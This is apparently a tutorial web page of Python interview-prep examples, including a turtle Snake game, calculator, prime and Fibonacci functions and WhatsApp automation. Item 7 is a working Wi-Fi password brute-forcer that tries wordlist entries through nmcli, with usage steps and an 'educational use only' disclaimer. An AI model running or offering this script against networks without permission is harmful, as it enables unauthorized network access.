Python Interview Prep: Code Examples for AI/ML Roles
Master Python for AI/ML interviews! Explore essential code examples for interview preparation, from basic programs to algorithms, to ace your next technical assessment.
Interview Preparation Programs in Python
This document provides a collection of Python code examples useful for interview preparation, covering fundamental programming concepts and popular algorithms.
1. Hello World Program
A classic starting point to verify your Python environment and basic output.
print("HelloWorld")
2. Sum of Numbers
This program demonstrates how to sum a list of numbers in Python.
numbers = [10, 20, 30, 40]
total = sum(numbers)
print("Sum:", total)
Explanation:
The sum()
function efficiently calculates the sum of all elements in an iterable (like a list).
3. Factorial of a Number
This function calculates the factorial of a non-negative integer using recursion.
def factorial(n):
if n == 0 or n == 1:
return 1
return n * factorial(n - 1)
num = 5
print("Factorial:", factorial(num))
Explanation:
- The factorial of 0 and 1 is defined as 1.
- For any other non-negative integer
n
, the factorial isn
multiplied by the factorial ofn-1
.
4. Reverse a String
This snippet shows a concise way to reverse a string in Python.
text = "HelloWorld"
reversed_text = text[::-1]
print("Reversed String:", reversed_text)
Explanation:
String slicing with [::-1]
creates a reversed copy of the string.
5. Snake Game
A graphical implementation of the classic Snake game using the turtle
module.
import turtle
import time
import random
# --- Game Settings ---
delay = 0.1
score = 0
high_score = 0
# --- Screen Setup ---
win = turtle.Screen()
win.title("Snake Game")
win.bgcolor("black")
win.setup(width=600, height=600)
win.tracer(0) # Turns off screen updates
# --- Snake Head ---
head = turtle.Turtle()
head.speed(0)
head.shape("square")
head.color("white")
head.penup()
head.goto(0, 0)
head.direction = "stop"
# --- Food ---
food = turtle.Turtle()
food.speed(0)
food.shape("circle")
food.color("red")
food.penup()
food.goto(0, 100)
segments = []
# --- Scoreboard ---
score_display = turtle.Turtle()
score_display.speed(0)
score_display.shape("square")
score_display.color("white")
score_display.penup()
score_display.hideturtle()
score_display.goto(0, 260)
score_display.write("Score: 0 High Score: 0", align="center", font=("Courier", 24, "normal"))
# --- Functions ---
def go_up():
if head.direction != "down":
head.direction = "up"
def go_down():
if head.direction != "up":
head.direction = "down"
def go_left():
if head.direction != "right":
head.direction = "left"
def go_right():
if head.direction != "left":
head.direction = "right"
def move():
if head.direction == "up":
y = head.ycor()
head.sety(y + 20)
if head.direction == "down":
y = head.ycor()
head.sety(y - 20)
if head.direction == "left":
x = head.xcor()
head.setx(x - 20)
if head.direction == "right":
x = head.xcor()
head.setx(x + 20)
# --- Keyboard Bindings ---
win.listen()
win.onkeypress(go_up, "w")
win.onkeypress(go_down, "s")
win.onkeypress(go_left, "a")
win.onkeypress(go_right, "d")
# --- Main Game Loop ---
while True:
win.update()
# Check for collision with border
if head.xcor() > 290 or head.xcor() < -290 or head.ycor() > 290 or head.ycor() < -290:
time.sleep(1)
head.goto(0, 0)
head.direction = "stop"
# Hide the segments
for segment in segments:
segment.goto(1000, 1000)
segments.clear()
# Reset score
score = 0
score_display.clear()
score_display.write(f"Score: {score} High Score: {high_score}", align="center", font=("Courier", 24, "normal"))
delay = 0.1
# Check for collision with food
if head.distance(food) < 20:
x = random.randint(-290, 290)
y = random.randint(-290, 290)
food.goto(x, y)
# Add segment to snake
new_segment = turtle.Turtle()
new_segment.speed(0)
new_segment.shape("square")
new_segment.color("grey")
new_segment.penup()
segments.append(new_segment)
# Increase score
score += 10
if score > high_score:
high_score = score
score_display.clear()
score_display.write(f"Score: {score} High Score: {high_score}", align="center", font=("Courier", 24, "normal"))
# Increase speed
delay -= 0.001
# Move the end segments first in reverse order
for index in range(len(segments) - 1, 0, -1):
x = segments[index - 1].xcor()
y = segments[index - 1].ycor()
segments[index].goto(x, y)
# Move segment 0 to where the head is
if len(segments) > 0:
segments[0].goto(head.xcor(), head.ycor())
move()
# Check for collision with self
for segment in segments:
if segment.distance(head) < 20:
time.sleep(1)
head.goto(0, 0)
head.direction = "stop"
# Hide the segments
for seg in segments:
seg.goto(1000, 1000)
segments.clear()
# Reset score
score = 0
score_display.clear()
score_display.write(f"Score: {score} High Score: {high_score}", align="center", font=("Courier", 24, "normal"))
delay = 0.1
time.sleep(delay)
win.mainloop()
Controls:
W
: Move UpS
: Move DownA
: Move LeftD
: Move Right
6. Simple Calculator
A function that performs basic arithmetic operations.
def calculator(a, b, operation):
if operation == '+':
return a + b
elif operation == '-':
return a - b
elif operation == '*':
return a * b
elif operation == '/':
if b != 0:
return a / b
else:
return "Error: Division by zero"
else:
return "Invalid Operation"
print(calculator(10, 5, '+'))
print(calculator(10, 5, '-'))
print(calculator(10, 5, '*'))
print(calculator(10, 5, '/'))
print(calculator(10, 0, '/'))
print(calculator(10, 5, '%'))
7. Wi-Fi Password Cracker (Educational Use Only)
Disclaimer: This code is for educational purposes only. Use it solely on your own network or with explicit permission. Unauthorized access to networks is illegal and unethical.
This script attempts to crack a Wi-Fi password by iterating through a wordlist.
import subprocess
def wifi_cracker(wordlist_path, ssid):
"""
Attempts to crack a Wi-Fi password by trying passwords from a wordlist.
Args:
wordlist_path (str): The path to the text file containing potential passwords.
ssid (str): The name (SSID) of the Wi-Fi network.
"""
try:
with open(wordlist_path, 'r', encoding='utf-8') as file:
for password in file:
password = password.strip()
if not password: # Skip empty lines
continue
print(f"Trying: {password} for SSID: {ssid}")
# Using nmcli for network management (Linux specific)
# This command attempts to connect to the Wi-Fi network
result = subprocess.run(
["nmcli", "dev", "wifi", "connect", ssid, "password", password],
capture_output=True,
text=True,
encoding='utf-8',
errors='ignore' # Ignore potential encoding errors in output
)
# Check if the connection was successful
if "successfully activated" in result.stdout or "Connection successfully activated" in result.stdout:
print(f"SUCCESS: Password found for {ssid}: {password}")
return
# You might want to add more robust checks here based on nmcli's output
# For example, checking for specific error messages.
except FileNotFoundError:
print(f"Error: Wordlist file not found at {wordlist_path}")
except Exception as e:
print(f"An unexpected error occurred: {e}")
print(f"Password not found in the provided wordlist for {ssid}.")
# Example Usage (replace with your actual wordlist and SSID):
# Create a file named 'wordlist.txt' with passwords, one per line.
# wifi_cracker("wordlist.txt", "YourWiFiSSID")
To Use:
- Create a text file (e.g.,
wordlist.txt
) and list potential passwords, one per line. - Replace
"YourWiFiSSID"
with the actual name of the Wi-Fi network you want to test. - Run the script. Remember the disclaimer above.
8. Prime Number Checker
This function determines if a given integer is a prime number.
def is_prime(n):
"""Checks if a number is prime."""
if n < 2:
return False
# Check for divisibility from 2 up to the square root of n
for i in range(2, int(n**0.5) + 1):
if n % i == 0:
return False
return True
print(f"Is 29 prime? {is_prime(29)}") # Expected: True
print(f"Is 15 prime? {is_prime(15)}") # Expected: False
print(f"Is 2 prime? {is_prime(2)}") # Expected: True
print(f"Is 1 prime? {is_prime(1)}") # Expected: False
Explanation:
- A prime number is a natural number greater than 1 that has no positive divisors other than 1 and itself.
- We only need to check for divisors up to the square root of
n
because ifn
has a divisor larger than its square root, it must also have a divisor smaller than its square root.
9. Fibonacci Series
This function generates and prints the Fibonacci sequence up to a specified number of terms.
def fibonacci(n):
"""Generates and prints the Fibonacci series up to n terms."""
a, b = 0, 1
if n <= 0:
print("Please enter a positive integer.")
elif n == 1:
print(a)
else:
print("Fibonacci Series:")
for _ in range(n):
print(a, end=' ')
a, b = b, a + b
print() # Newline at the end
fibonacci(10)
Example Output:
Fibonacci Series:
0 1 1 2 3 5 8 13 21 34
10. Sending WhatsApp Messages
This code uses the pywhatkit
library to send WhatsApp messages programmatically.
Installation:
pip install pywhatkit
Python Code:
import pywhatkit as kit
import time
# --- IMPORTANT ---
# Ensure you have WhatsApp Web open and logged in on your default browser.
# The message will be sent at the specified time.
# Format: phone_no with country code, message, hour (24-hour format), minute
# Example: Send a message to '+911234567890' at 15:30 (3:30 PM)
# try:
# # kit.sendwhatmsg("+911234567890", "Hello from Python!", 15, 30)
# # print("WhatsApp message scheduled. Check your browser.")
# except Exception as e:
# print(f"An error occurred: {e}")
# You can also send a message immediately:
# try:
# # This will open WhatsApp Web and send the message instantly
# # kit.sendwhatmsg_instantly("+911234567890", "Hello, this is an instant message!", wait_time=15) # wait_time is in seconds
# # print("Instant WhatsApp message sent.")
# except Exception as e:
# print(f"An error occurred while sending instantly: {e}")
# To demonstrate, let's just print the format
print("Example Usage:")
print("kit.sendwhatmsg('+12345678900', 'This is a test message.', 10, 00)") # Sends at 10:00 AM
print("kit.sendwhatmsg_instantly('+12345678900', 'This is an instant test.')")
Notes:
- This library automates browser actions to send messages. Ensure your default browser is set up correctly.
- The
sendwhatmsg
function requires the target time to be in the future. - The
wait_time
parameter insendwhatmsg_instantly
is crucial for allowing the browser to load and the message to be sent. Adjust it based on your internet speed and browser responsiveness.
Python for Freshers: AI & ML Essentials
Master Python for AI & Machine Learning! This comprehensive guide for freshers covers core concepts, OOP, and applications, building your foundation for modern tech.
Matplotlib: Python Plotting for AI & Data Science
Master Matplotlib, the essential Python plotting library for AI, machine learning, and data science. Create static, animated, and interactive visualizations with ease.